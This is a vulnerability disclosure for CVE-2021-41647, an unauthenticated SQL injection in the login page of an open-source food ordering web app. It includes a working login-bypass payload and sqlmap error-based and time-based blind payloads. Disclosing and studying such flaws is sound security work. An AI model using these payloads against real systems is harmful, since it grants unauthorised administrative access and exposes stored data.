# CVE-2021-41647

CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App

The Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. 
The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.

## Link To Application
[Online-Food-Ordering-Web-App](https://github.com/kaushikjadhav01/Online-Food-Ordering-Web-App)

## Affected Components & Parameter
**URL: /login.php**  
**PARAMETER: username**

## POC'S
### LOGIN BYPASS PAYLOAD
To bypass the user login and gain full administrative access, payload in the username input field:
user' or 1=1-- -

### SQLMAP PAYLOADS
Parameter: username (POST Request)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
    Payload: `username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf`

 Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
    Payload: `username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf`
    
### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![POC](https://github.com/MobiusBinary/F1/blob/main/Online-Food-Ordering-Web-App.gif) 

## Discovered by
Jason Colyvas  
[MOBIUSBINARY](https://mobiusbinary.com)  
September 20th, 2021
